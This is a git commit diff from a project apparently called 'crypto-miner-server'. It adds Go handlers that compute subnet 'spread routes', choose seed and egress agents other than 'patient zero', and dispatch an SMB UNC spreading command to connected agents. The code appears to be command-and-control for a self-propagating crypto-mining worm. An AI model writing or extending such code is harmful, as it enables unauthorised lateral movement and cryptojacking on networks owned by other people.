Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -18,6 +18,8 @@ import (
qrcode "github.com/skip2/go-qrcode"
"golang.org/x/crypto/curve25519"
"crypto-miner-server/internal/spreadrouter"
)
// ── types ─────────────────────────────────────────────────────────────────────
@@ -236,6 +238,9 @@ func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
if hints := jsonRawOrNil(sess.NetworkHints); hints != nil {
resp["network_hints"] = hints
}
if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
resp["spread_routes"] = routes
}
writeJSON(w, resp)
}
@@ -363,12 +368,48 @@ func (h *PathTracerHandler) Discover(w http.ResponseWriter, r *http.Request) {
sess.DiscoveredAt = &now
}
resp := map[string]interface{}{
"ok": discoverErr == "",
"session_id": sess.ID,
"error": discoverErr,
"service_graph": serviceGraphList(sess.ServiceGraph),
"discovered_at": formatDiscoveredAt(sess.DiscoveredAt),
}
if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
resp["spread_routes"] = routes
}
writeJSON(w, resp)
}
// POST /api/v1/pathtrace/spread-route
// Body: {"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}
// Returns BGP-style spread route recommendations per target subnet.
func (h *PathTracerHandler) SpreadRoute(w http.ResponseWriter, r *http.Request) {
var req struct {
SessionID string `json:"session_id"`
TargetSubnets []string `json:"target_subnets"`
JoinLane string `json:"join_lane"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.SessionID = strings.TrimSpace(req.SessionID)
if req.SessionID == "" {
http.Error(w, "session_id is required", http.StatusBadRequest)
return
}
sess := h.getSession(req.SessionID)
if sess == nil {
http.Error(w, "session not found", http.StatusNotFound)
return
}
routes, edges := h.computeSpreadRoutes(sess, req.TargetSubnets, req.JoinLane)
writeJSON(w, map[string]interface{}{
"ok": discoverErr == "",
"session_id": sess.ID,
"error": discoverErr,
"service_graph": serviceGraphList(sess.ServiceGraph),
"discovered_at": formatDiscoveredAt(sess.DiscoveredAt),
"ok": true,
"session_id": sess.ID,
"spread_routes": routes,
"route_edges": edges,
})
}
@@ -410,6 +451,16 @@ func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
return
}
egress := sess.Hops[len(sess.Hops)-1]
if targetSubnet := strings.TrimSpace(r.URL.Query().Get("target_subnet")); targetSubnet != "" {
if routes := h.spreadRoutesForSession(sess, []string{targetSubnet}, ""); len(routes) > 0 {
for _, hop := range sess.Hops {
if hop.AgentID == routes[0].EgressAgentID {
egress = hop
break
}
}
}
}
if !h.hub.isAgentConnected(egress.AgentID) {
http.Error(w, "egress hop agent not connected", http.StatusBadRequest)
return
@@ -426,14 +477,74 @@ func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
http.Error(w, err.Error(), http.StatusBadGateway)
return
}
writeJSON(w, map[string]interface{}{
"ok": true,
"agent_id": egress.AgentID,
resp := map[string]interface{}{
"ok": true,
"agent_id": egress.AgentID,
"agent_name": egress.AgentName,
"unc_path": req.UNCPath,
"max_hosts": maxHosts,
"message": "spread_smb_unc dispatched on Path Tracer egress hop",
})
"unc_path": req.UNCPath,
"max_hosts": maxHosts,
"message": "spread_smb_unc dispatched on Path Tracer egress hop",
}
if routeHint := h.bestSpreadRouteForSession(sess, nil, ""); routeHint != nil {
resp["spread_route_hint"] = routeHint
}
writeJSON(w, resp)
}
func (h *PathTracerHandler) spreadRoutesForSession(sess *TraceSession, targetSubnets []string, joinLane string) []spreadrouter.RouteRecommendation {
routes, _ := h.computeSpreadRoutes(sess, targetSubnets, joinLane)
return routes
}
func (h *PathTracerHandler) computeSpreadRoutes(sess *TraceSession, targetSubnets []string, joinLane string) ([]spreadrouter.RouteRecommendation, []spreadrouter.RouteEdge) {
if sess == nil {
return nil, nil
}
in := buildSpreadRouterInput(h.hub, []*TraceSession{sess}, targetSubnets, joinLane)
rt := spreadrouter.Build(in)
return rt.Routes, rt.Edges
}
func (h *PathTracerHandler) bestSpreadRouteForSession(sess *TraceSession, targetSubnets []string, joinLane string) *spreadrouter.SpreadRouteHint {
routes := h.spreadRoutesForSession(sess, targetSubnets, joinLane)
if len(routes) == 0 {
return nil
}
return spreadrouter.ToHint(routes[0])
}
// RecommendSpreadRoute picks the best seed hop for a target subnet across all active sessions.
func (h *PathTracerHandler) RecommendSpreadRoute(targetSubnet, joinLane, patientZeroID string) *spreadrouter.SpreadRouteHint {
if h == nil {
return nil
}
targetSubnet = spreadrouter.NormalizeSubnet(targetSubnet)
if targetSubnet == "" {
return nil
}
sessions := traceSessionsSnapshot(h)
in := buildSpreadRouterInput(h.hub, sessions, []string{targetSubnet}, joinLane)
rt := spreadrouter.Build(in)
rec, ok := rt.Recommend(targetSubnet)
if !ok {
return nil
}
if patientZeroID != "" && rec.SeedAgentID == patientZeroID {
// Prefer a routed egress when patient zero is not the only candidate.
for _, edge := range rt.Edges {
if edge.ToSubnet == targetSubnet && edge.FromAgentID != patientZeroID && edge.Weight >= rec.Score*0.9 {
rec.SeedAgentID = edge.FromAgentID
rec.SeedAgentName = edge.FromAgentName
rec.EgressAgentID = edge.FromAgentID
rec.EgressHopIndex = edge.HopIndex
rec.SessionID = edge.SessionID
rec.Score = edge.Weight
rec.Reason = "routed egress (not patient zero)"
break
}
}
}
return spreadrouter.ToHint(rec)
}
// ── orchestration ─────────────────────────────────────────────────────────────